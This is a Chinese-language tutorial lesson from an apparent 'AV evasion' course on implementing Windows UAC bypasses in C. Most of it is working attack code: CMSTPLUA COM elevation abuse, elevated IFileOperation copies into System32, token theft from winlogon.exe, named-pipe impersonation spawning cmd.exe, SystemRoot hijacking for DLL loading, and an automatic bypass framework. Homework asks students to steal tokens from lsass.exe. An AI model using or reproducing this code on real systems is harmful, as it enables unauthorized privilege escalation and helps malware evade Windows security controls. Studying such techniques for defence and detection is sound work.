免杀专题
16、代码实现UAC绕过
1. 课程目标
深入学习UAC绕过的代码实现技术,包括COM对象劫持、Token复制等高级方法。
1.1 学习目标
- 掌握COM对象劫持绕过UAC
- 学习Token复制提权技术
- 了解环境变量劫持方法
- 实现自动化UAC绕过框架
2. 名词解释
| 名词 | 英文 | 解释 |
|---|---|---|
| COM | Component Object Model | 组件对象模型 |
| CLSID | Class ID | COM类标识符 |
| ICMLuaUtil | - | 可自动提权的COM接口 |
| Token | - | 访问令牌,包含权限信息 |
| Impersonation | - | 模拟,使用其他用户的Token |
| Named Pipe | - | 命名管道,用于Token窃取 |
3. COM对象劫持
3.1 ICMLuaUtil接口
#include <windows.h>
#include <stdio.h>
// ICMLuaUtil接口定义
const IID IID_ICMLuaUtil = {
0x6EDD6D74, 0xC007, 0x4E75,
{ 0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C }
};
const CLSID CLSID_CMSTPLUA = {
0x3E5FC7F9, 0x9A51, 0x4367,
{ 0x9A, 0xC8, 0xA4, 0xEC, 0xFC, 0x9A, 0xEE, 0x0A }
};
// ICMLuaUtil虚函数表
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(ICMLuaUtil* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(ICMLuaUtil* This);
ULONG(STDMETHODCALLTYPE* Release)(ICMLuaUtil* This);
// ICMLuaUtil
HRESULT(STDMETHODCALLTYPE* Method1)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method2)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method3)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method4)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method5)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method6)(ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* ShellExec)(
ICMLuaUtil* This,
LPCWSTR lpFile,
LPCWSTR lpParameters,
LPCWSTR lpDirectory,
ULONG fMask,
ULONG nShow
);
} ICMLuaUtilVtbl;
interface ICMLuaUtil {
CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;
};
// 使用CMSTPLUA COM对象绕过UAC
BOOL BypassUACViaCMSTPLUA(LPCWSTR szCommand) {
printf("[*] UAC绕过 - CMSTPLUA COM对象\n");
HRESULT hr;
ICMLuaUtil* pCMLuaUtil = NULL;
BIND_OPTS3 bo;
// 初始化COM
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
printf("[-] CoInitialize失败: 0x%X\n", hr);
return FALSE;
}
// 创建Elevation Moniker
ZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = GetForegroundWindow();
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 使用Elevation:Administrator!创建提权的COM对象
WCHAR szMoniker[256];
wsprintfW(szMoniker,
L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9A8C-A4ECFC9AEE0A}");
hr = CoGetObject(szMoniker, &bo, IID_ICMLuaUtil, (void**)&pCMLuaUtil);
if (FAILED(hr)) {
printf("[-] CoGetObject失败: 0x%X\n", hr);
CoUninitialize();
return FALSE;
}
printf("[+] COM对象创建成功\n");
// 调用ShellExec执行命令
hr = pCMLuaUtil->lpVtbl->ShellExec(
pCMLuaUtil,
szCommand, // 要执行的程序
NULL, // 参数
NULL, // 工作目录
0, // 掩码
SW_SHOW // 显示方式
);
if (FAILED(hr)) {
printf("[-] ShellExec失败: 0x%X\n", hr);
} else {
printf("[+] 命令执行成功!\n");
}
// 清理
pCMLuaUtil->lpVtbl->Release(pCMLuaUtil);
CoUninitialize();
return SUCCEEDED(hr);
}
3.2 IFileOperation接口
#include <windows.h>
#include <shobjidl.h>
#include <stdio.h>
// 使用IFileOperation复制文件到System32(绕过UAC)
BOOL CopyToSystem32ViaIFileOperation(LPCWSTR szSrc, LPCWSTR szDst) {
HRESULT hr;
IFileOperation* pFileOp = NULL;
IShellItem* pFrom = NULL;
IShellItem* pTo = NULL;
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
// 创建提权的IFileOperation
BIND_OPTS3 bo = { sizeof(bo) };
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
bo.hwnd = GetForegroundWindow();
hr = CoGetObject(
L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
&bo, IID_PPV_ARGS(&pFileOp)
);
if (FAILED(hr)) {
printf("[-] 创建IFileOperation失败\n");
CoUninitialize();
return FALSE;
}
// 设置操作标志
pFileOp->SetOperationFlags(
FOF_NOCONFIRMATION |
FOF_SILENT |
FOFX_NOCOPYHOOKS |
FOFX_REQUIREELEVATION
);
// 创建源和目标ShellItem
SHCreateItemFromParsingName(szSrc, NULL, IID_PPV_ARGS(&pFrom));
SHCreateItemFromParsingName(szDst, NULL, IID_PPV_ARGS(&pTo));
// 执行复制
pFileOp->CopyItem(pFrom, pTo, NULL, NULL);
hr = pFileOp->PerformOperations();
// 清理
if (pFrom) pFrom->Release();
if (pTo) pTo->Release();
pFileOp->Release();
CoUninitialize();
return SUCCEEDED(hr);
}
4. Token复制提权
4.1 从高权限进程窃取Token
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 启用权限
BOOL EnablePrivilege(LPCWSTR lpszPrivilege) {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return GetLastError() == ERROR_SUCCESS;
}
// 从指定进程窃取Token并创建进程
BOOL StealTokenAndCreateProcess(DWORD dwPid, LPCWSTR szCommand) {
printf("[*] 从PID %d窃取Token\n", dwPid);
// 启用SeDebugPrivilege
if (!EnablePrivilege(SE_DEBUG_NAME)) {
printf("[-] 启用SeDebugPrivilege失败\n");
}
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcess) {
printf("[-] 打开进程失败: %d\n", GetLastError());
return FALSE;
}
// 获取进程Token
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
printf("[-] 打开Token失败: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
// 复制Token
HANDLE hDupToken;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
printf("[-] 复制Token失败: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Token复制成功\n");
// 使用窃取的Token创建进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
WCHAR szCmd[MAX_PATH];
wcscpy_s(szCmd, szCommand);
if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE,
NULL, szCmd, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
printf("[-] CreateProcessWithTokenW失败: %d\n", GetLastError());
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] 进程创建成功! PID: %d\n", pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return TRUE;
}
// 查找SYSTEM进程窃取Token
BOOL ElevateViaTokenSteal(LPCWSTR szCommand) {
// 查找winlogon.exe的PID(运行在SYSTEM权限)
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD dwWinlogonPid = 0;
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
dwWinlogonPid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
if (!dwWinlogonPid) {
printf("[-] 未找到winlogon.exe\n");
return FALSE;
}
return StealTokenAndCreateProcess(dwWinlogonPid, szCommand);
}
5. 命名管道Token窃取
#include <windows.h>
#include <stdio.h>
// 通过命名管道窃取客户端Token
DWORD WINAPI PipeServerThread(LPVOID lpParam) {
LPCWSTR szPipeName = L"\\\\.\\pipe\\EvilPipe";
// 创建命名管道
HANDLE hPipe = CreateNamedPipeW(
szPipeName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
1, 1024, 1024, 0, NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[-] 创建管道失败\n");
return 1;
}
printf("[*] 等待客户端连接...\n");
// 等待客户端连接
if (ConnectNamedPipe(hPipe, NULL) || GetLastError() == ERROR_PIPE_CONNECTED) {
printf("[+] 客户端已连接\n");
// 模拟客户端
if (ImpersonateNamedPipeClient(hPipe)) {
printf("[+] 模拟成功\n");
// 获取当前Token
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
// 使用Token创建进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(hToken, 0, NULL,
L"cmd.exe", CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi);
CloseHandle(hToken);
RevertToSelf();
}
}
CloseHandle(hPipe);
return 0;
}
6. 环境变量劫持
#include <windows.h>
#include <stdio.h>
// 通过环境变量劫持绕过UAC
// 利用某些自动提权程序会读取环境变量的特性
BOOL BypassUACViaEnvVariable() {
// 设置恶意的SystemRoot环境变量
// 某些程序会从%SystemRoot%\System32加载DLL
// 1. 创建恶意目录结构
CreateDirectoryW(L"C:\\Temp\\FakeRoot", NULL);
CreateDirectoryW(L"C:\\Temp\\FakeRoot\\System32", NULL);
// 2. 复制恶意DLL到假目录
// CopyFileW(L"evil.dll", L"C:\\Temp\\FakeRoot\\System32\\version.dll", FALSE);
// 3. 设置环境变量
SetEnvironmentVariableW(L"SystemRoot", L"C:\\Temp\\FakeRoot");
// 4. 启动目标程序(它会从假的System32加载DLL)
// ...
// 5. 恢复环境变量
SetEnvironmentVariableW(L"SystemRoot", L"C:\\Windows");
return TRUE;
}
7. 综合UAC绕过框架
#include <windows.h>
#include <stdio.h>
typedef BOOL(*UAC_BYPASS_FUNC)(LPCWSTR);
// UAC绕过方法列表
struct UAC_METHOD {
const char* name;
UAC_BYPASS_FUNC func;
BOOL(*check)(); // 检查是否适用
};
// 自动选择最佳方法
BOOL AutoBypassUAC(LPCWSTR szCommand) {
printf("[*] 自动UAC绕过\n");
// 检查当前是否已提权
BOOL bElevated = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation,
sizeof(elevation), &dwSize)) {
bElevated = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
if (bElevated) {
printf("[+] 已经是管理员权限\n");
return TRUE;
}
// 获取Windows版本
OSVERSIONINFOW osvi = { sizeof(osvi) };
// ... 版本检测代码
// 尝试各种方法
printf("[*] 尝试fodhelper方法...\n");
if (BypassUACViaFodhelper(szCommand)) {
return TRUE;
}
printf("[*] 尝试eventvwr方法...\n");
if (BypassUACViaEventvwr(szCommand)) {
return TRUE;
}
printf("[*] 尝试CMSTPLUA方法...\n");
if (BypassUACViaCMSTPLUA(szCommand)) {
return TRUE;
}
printf("[-] 所有方法均失败\n");
return FALSE;
}
8. 课后作业
8.1、作业1:COM对象(必做)
实现CMSTPLUA COM对象的UAC绕过。
8.2、作业2:Token窃取(进阶)
从lsass.exe或winlogon.exe窃取Token并创建提权进程。
8.3、作业3:自动化框架(高级)
编写自动检测Windows版本并选择最佳UAC绕过方法的工具。
9. 下一课预告
下一课我们将学习CVE-2019-1388 UAC提权漏洞。